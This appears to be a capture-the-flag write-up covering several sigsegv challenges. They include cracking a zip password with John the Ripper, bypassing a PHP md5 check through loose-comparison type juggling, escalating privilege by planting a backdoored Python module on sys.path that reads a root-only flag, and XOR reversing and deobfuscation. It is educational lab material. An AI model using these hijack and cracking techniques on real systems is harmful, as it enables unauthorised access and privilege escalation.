$ john zip.hashes Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status passw0rd (backup.zip) 1g 0:00:00:00 DONE 2/3 (2018-09-28 21:28) 4.166g/s 83470p/s 83470c/s 83470C/s 123456..ferrises Use the "--show" option to display all of the cracked passwords reliably Session completed
$ john --show zip.hashes backup.zip:passw0rd:::::backup.zip
1 password hash cracked, 0 left
The zip file was protected with the password passw0rd.
Now we can unzip the archive.
<?php include"auth.php"; ?> <html> <head> <title>Un site simple</title></title> </head> <body> <center><iframe width="560" height="315" src="https://www.youtube.com/embed/2bjk26RwjyU?rel=0&controls=0&showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center> <?php if(isset($_POST["h1"])) { $h1 = md5($_POST["h1"] . "Shrewk"); echo"h1 vaut: ".$h1."</br>"; if($h1 == 0) { echo"<!--Bien joué le flag est ".$flag."-->"; } } ?> <!-- Si une méthode ne fonctionne pas il faut en utiliser une autre --> <!-- Un formulaire c'était pas assez simple donc on en a pas mis --> </body> </html>
So let's try a request on the POST parameter h1:
1 2 3 4 5 6 7 8 9 10 11 12 13
POST / HTTP/1.1 Host: 51.158.73.218:8880 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 7
h1=test
So we have the flag but this was not the intended way.
I think the author wanted us to do a type juggling but there is no need for it here:
1 2 3 4 5 6 7 8
php > var_dump( "a" == 0); bool(true) php > var_dump( false == 0); bool(true) php > var_dump( "a" == false); bool(false) php > var_dump( "a" == true); bool(true)
But this is weird because a non-null string is truthy. Looking at PHP type comparison tables we can see this is again a very weird and unexpected behavior of PHP loose comparisons with ==.
Sorry ShrewkRoot but the tricker was tricked!
if($h1 == 0) is like if(1) so it's always true.
Flag: sigsegv{L3TyP3JuGgl!nGCR!G0lo:!#}
I reported that, and the challenge was fixed and the flag reset. Sorry guys ;)
<?php include"auth.php"; ?> <html> <head> <title>Un site simple</title></title> </head> <body> <center><iframe width="560" height="315" src="https://www.youtube.com/embed/2bjk26RwjyU?rel=0&controls=0&showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center> <?php if(isset($_POST["h1"])) { $h1 = md5($_POST["h1"] . "Shrewk"); echo"h1 vaut: ".$h1."</br>"; if($h1 == "0") { echo"<!--Bien joué le flag est ".$flag."-->"; } } else { echo"<!--Tu dois entrer une valeur pour h1 mais faut que h1 soit nulle aussi \o/.-->"; } ?> <!-- Si une méthode ne fonctionne pas il faut en utiliser une autre --> <!-- Un formulaire c'était pas assez simple donc on en a pas mis --> <!-- Il se peut que le flag s'affiche en commentaire --> </body> </html>
ShrewkRoot just needed to change $h1 == 0 into $h1 == "0" to fix that problem.
The step is to bruteforce values with md5 to get a type juggling.
But ShrewkRoot is not dumb, he used a salt to prevent us from using an already known magic hash.
So now we only need to bruteforce md5($_POST["h1"] . "Shrewk").
flag: readable only by root user and chall-pwned group
hello-world.py: python script
wrapper: with suid of chall-pwned, so we can launch the python script as chall-pwned
Here is the content of hello-world.py:
1 2 3 4 5 6 7 8 9 10 11 12
#!/usr/bin/python2.7
from colors import colors
defmain(): print('This is an advanced hello-world') print('The world is more joyful with colors') print('So, here we are:') print('{}Hello-World !{}'.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == '__main__': main()
We instantly see there is a python format string vulnerability.
But the input is not directly controllable by the user, the arguments of format() are some global constants coming from the colors module.
Checking the python known default path for installed packages, we can see the content of the module:
So basically we want to recreate a fake colors module in a place we have write permission like in /tmp.
Python can load modules not only from one place but from different ones, exactly like on your shell you can call tools from different places as long as the path of the tool is specified in the PATH environment variable.
When python has to load a module, it will check sys.path and look inside each of the specified paths.
So when the hello-world.py script imports colors module, it will check the sys.path array in order.
sys.path is initialized from these locations:
the directory containing the input script (or the current directory).
PYTHONPATH (a list of directory names, with the same syntax as the shell variable PATH).
So I recreated the colors module with a backdoored python class:
1 2 3 4 5
classbcolors: import subprocess flag = subprocess.Popen('cat /home/chall/flag', shell=True, stdout=subprocess.PIPE).stdout.read() OKBLUE = flag ENDC = flag
Then I launched the python interpreter, modified sys.path in order to have my module's folder loaded first, and using this context calling the wrapper:
First, I'm not a reverser at all, and I'm not used to reverse engineer a binary, so this is a totally naive approach of solving the challenge.
I tried with radare2 to see what the binary looked like once disassembled. The more interesting function seemed to be pdf @ sub.BB_7c2. One part of the flag was read char by char egv{ and Pl4y3d, but other parts were xored.
My hypothesis is the following: the first byte has only two values (c8 or c7) so it must be either binary (0 or 1) or a symbol (+ or -) or something like that, and the second byte is the real value of the char.
What do we know? We know that the format flag is sigsegv{something}.
So we must have an equivalence:
83 = s
b9 = i
b7 = g
83 = s
b5 = e
b7 = g
86 = v
8b = {
etc.
8d = }
Nice as expected the value of the two s and the two g are equals, so this is a basic 1 for 1 encoding.
Let's compare tne encoded value of s (0x73) with the real hex value, let's do that for all known letters and subtract them:
0x83 - 0x73 (s) = 0x10
0xb9 - 0x69 (i) = 0x50
0xb7 - 0x67 (g) = 0x50
0x83 - 0x73 (s) = 0x10
0xb5 - 0x65 (e) = 0x50
0xb7 - 0x67 (g) = 0x50
0x86 - 0x76 (v) = 0x10
0x8b - 0x7b ({) = 0x10
etc.
0x8d - 0x7d (}) = 0x10
We have only two resulting values, so we must have this equivalence:
1 2
c7 = - 0x50 = - 80 c8 = - 0x10 = - 16
Now let's do that for the whole string, extracting the hex dump:
<html><SCRIPTLANGUAGE="JavaScript"><!-- document.write(unescape("%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%30%31%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3D%22%22%2C%69%63%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%32%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E"));//--></SCRIPT><SCRIPTLANGUAGE="JavaScript"><!-- hp_d01(unescape("%3E%23//JGCF//%3C%3Eqapkrv%22nclewceg%3F%20HctcQapkrv%20%3Cdwlavkml%22Imf*q.%22rcqq+%22ytcp%22k%3F29%22tcp%22@nc@nc%3F%20%209%22dmp*h%3F29%22h%3Eq%2Cnglevj9%22h%29%29+%22y@nc@nc%29%3FQvpkle%2CdpmoAjcpAmfg**rcqq%2CajcpAmfgCv*k%29%29++%5C*q%2CajcpAmfgCv*h+++9kd%22*k%3C%3Frcqq%2Cnglevj+%22k%3F29%7Fpgvwpl*@nc@nc+9%22%7Fdwlavkml%22d*dmpo+ytcp%22rcqq%3Ffmawoglv%2Cdmpo%2Crcqq%2Ctcnwg9tcp%22jcqj%3F29dmp*h%3F29%22h%3Ercqq%2Cnglevj9%22h%29%29+ytcp%22l%3F%22rcqq%2CajcpAmfgCv*h+9jcqj%22%29%3F%22**l/h%2911+%5C13207+9%7Fkd%22*jcqj%22%3F%3F%2270%3B1%3A5+%22ytcp%22Qgapgv%22%3F%20%20%29%20%5Ez6d%5Ez23%5Ez31%5Ez3g%5Ez2%3B%5Ez7%3B%5Ez16%5Ez2%3B%5Ez2%60%5Ez27%5Ez04%5Ez71%5Ez13%5Ez63%5Ez7c%5Ez3%3A%5Ez2g%5Ez71%5Ez3f%5Ez37%5Ez3a%5Ez32%5Ez33%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez37%5Ez0%3B%5Ez77%5Ez3f%5Ez77%5Ez7f%5Ez24%5Ez3f%5Ez2g%5Ez3d%5Ez2a%5Ez36%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez3g%5Ez0c%5Ez62%5Ez7c%5Ez3f%5Ez3%3A%5Ez71%5Ez3%3B%5Ez24%5Ez22%5Ez34%5Ez20%5Ez74%5Ez2c%5Ez3d%5Ez34%5Ez4%3B%5Ez25%5Ez12%5Ez36%5Ez3%60%5Ez2c%5Ez7f%5Ez25%5Ez3%60%5Ez2%3A%5Ez24%5Ez31%5Ez20%5Ez74%5Ez2%60%5Ez27%5Ez24%5Ez1%60%5Ez71%5Ez11%5Ez77%5Ez34%5Ez32%5Ez3%3B%5Ez34%5Ez3%60%5Ez65%5Ez3d%5Ez22%5Ez65%5Ez37%5Ez31%5Ez2%60%5Ez3d%5Ez07%5Ez34%5Ez0%60%5Ez71%5Ez3d%5Ez67%5Ez70%5Ez3%60%5Ez3f%5Ez2c%5Ez3d%5Ez7%60%20%29%20%209tcp%22q%3FImf*Qgapgv.%22rcqq+9fmawoglv%2Cupkvg%22*q+9%7F%22gnqg%22ycngpv%22*%25Upmle%22rcqqumpf%23%25+9%7F%7F%3E-qapkrv%3C%3Eaglvgp%3C%3Edmpo%22lcog%3F%20dmpo%20%22ogvjmf%3F%20rmqv%20%22cavkml%3F%20%20%3C%3E%60%3CGlvgp%22rcqqumpf8%3E-%60%3C%3Eklrwv%22v%7Brg%3F%20rcqqumpf%20%22lcog%3F%20rcqq%20%22qkxg%3F%2012%20%22ocznglevj%3F%2012%20%22tcnwg%3F%20%20%3C%3Eklrwv%22v%7Brg%3F%20%60wvvml%20%22tcnwg%3F%20%22Em%23%22%20%22mlAnkai%3F%20d*vjkq%2Cdmpo+%20%3C%3E-dmpo%3C%3E-aglvgp%3C%3E%23//-JGCF//%3C"));//--></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT> </html>
<html><SCRIPTLANGUAGE="JavaScript"><!-- < SCRIPTLANGUAGE = "JavaScript" > <!-- hp_ok = true; functionhp_d01(s) { if (!hp_ok) return; var o = "", ar = newArray(), os = "", ic = 0; for (i = 0; i < s.length; i++) { c = s.charCodeAt(i); if (c < 128) c = c ^ 2; os += String.fromCharCode(c); if (os.length > 80) { ar[ic++] = os; os = "" } } o = ar.join("") + os; document.write(o) } //--></SCRIPT>//--></SCRIPT><SCRIPTLANGUAGE="JavaScript"><!-- hp_d01(unescape("%3E%23//JGCF//%3C%3Eqapkrv%22nclewceg%3F%20HctcQapkrv%20%3Cdwlavkml%22Imf*q.%22rcqq+%22ytcp%22k%3F29%22tcp%22@nc@nc%3F%20%209%22dmp*h%3F29%22h%3Eq%2Cnglevj9%22h%29%29+%22y@nc@nc%29%3FQvpkle%2CdpmoAjcpAmfg**rcqq%2CajcpAmfgCv*k%29%29++%5C*q%2CajcpAmfgCv*h+++9kd%22*k%3C%3Frcqq%2Cnglevj+%22k%3F29%7Fpgvwpl*@nc@nc+9%22%7Fdwlavkml%22d*dmpo+ytcp%22rcqq%3Ffmawoglv%2Cdmpo%2Crcqq%2Ctcnwg9tcp%22jcqj%3F29dmp*h%3F29%22h%3Ercqq%2Cnglevj9%22h%29%29+ytcp%22l%3F%22rcqq%2CajcpAmfgCv*h+9jcqj%22%29%3F%22**l/h%2911+%5C13207+9%7Fkd%22*jcqj%22%3F%3F%2270%3B1%3A5+%22ytcp%22Qgapgv%22%3F%20%20%29%20%5Ez6d%5Ez23%5Ez31%5Ez3g%5Ez2%3B%5Ez7%3B%5Ez16%5Ez2%3B%5Ez2%60%5Ez27%5Ez04%5Ez71%5Ez13%5Ez63%5Ez7c%5Ez3%3A%5Ez2g%5Ez71%5Ez3f%5Ez37%5Ez3a%5Ez32%5Ez33%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez37%5Ez0%3B%5Ez77%5Ez3f%5Ez77%5Ez7f%5Ez24%5Ez3f%5Ez2g%5Ez3d%5Ez2a%5Ez36%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez3g%5Ez0c%5Ez62%5Ez7c%5Ez3f%5Ez3%3A%5Ez71%5Ez3%3B%5Ez24%5Ez22%5Ez34%5Ez20%5Ez74%5Ez2c%5Ez3d%5Ez34%5Ez4%3B%5Ez25%5Ez12%5Ez36%5Ez3%60%5Ez2c%5Ez7f%5Ez25%5Ez3%60%5Ez2%3A%5Ez24%5Ez31%5Ez20%5Ez74%5Ez2%60%5Ez27%5Ez24%5Ez1%60%5Ez71%5Ez11%5Ez77%5Ez34%5Ez32%5Ez3%3B%5Ez34%5Ez3%60%5Ez65%5Ez3d%5Ez22%5Ez65%5Ez37%5Ez31%5Ez2%60%5Ez3d%5Ez07%5Ez34%5Ez0%60%5Ez71%5Ez3d%5Ez67%5Ez70%5Ez3%60%5Ez3f%5Ez2c%5Ez3d%5Ez7%60%20%29%20%209tcp%22q%3FImf*Qgapgv.%22rcqq+9fmawoglv%2Cupkvg%22*q+9%7F%22gnqg%22ycngpv%22*%25Upmle%22rcqqumpf%23%25+9%7F%7F%3E-qapkrv%3C%3Eaglvgp%3C%3Edmpo%22lcog%3F%20dmpo%20%22ogvjmf%3F%20rmqv%20%22cavkml%3F%20%20%3C%3E%60%3CGlvgp%22rcqqumpf8%3E-%60%3C%3Eklrwv%22v%7Brg%3F%20rcqqumpf%20%22lcog%3F%20rcqq%20%22qkxg%3F%2012%20%22ocznglevj%3F%2012%20%22tcnwg%3F%20%20%3C%3Eklrwv%22v%7Brg%3F%20%60wvvml%20%22tcnwg%3F%20%22Em%23%22%20%22mlAnkai%3F%20d*vjkq%2Cdmpo+%20%3C%3E-dmpo%3C%3E-aglvgp%3C%3E%23//-JGCF//%3C"));//--></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT> </html>
Then declare hp_d01 and run hp_d01(unescape("...")); in the browser console, so now the code is:
The secret was xored with a key (unknown and not in the script).
The key is smaller than the secret message so the key was concatenated multiple times.
The secret is useless for us and the key is the flag.
So we now know that the plain secret is beginning with <html>Br.
The hash of the key is 529387 and we know how it is computed.
1 2 3 4 5 6
j = 0; for (; j < userpass.length; j++) { var n = userpass.charCodeAt(j); /** @type {number} */ hash = hash + (n - j + 33 ^ 31025); }
33 ^ 31025 = 30992
1 2
irb(main):001:0> 529387 / 30992 => 17
So the key is 17 chars long.
Launching xortool shows that the most probable key length is 17 chars too.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
$ xortool secret The most probable key lengths: 1: 14.1% 5: 16.3% 9: 15.2% 11: 10.7% 14: 10.6% 17: 19.5% 23: 3.5% 29: 2.8% 31: 2.6% 34: 4.7% Key-length can be 3*n Key-length can be 7*n Key-length can be 17*n Most possible char is needed to guess the key!
The key is 17 char long, the flag begins with sigsegv{ so we have the first 8 chars of the key <html>Br so that's only 9 chars bruteforce.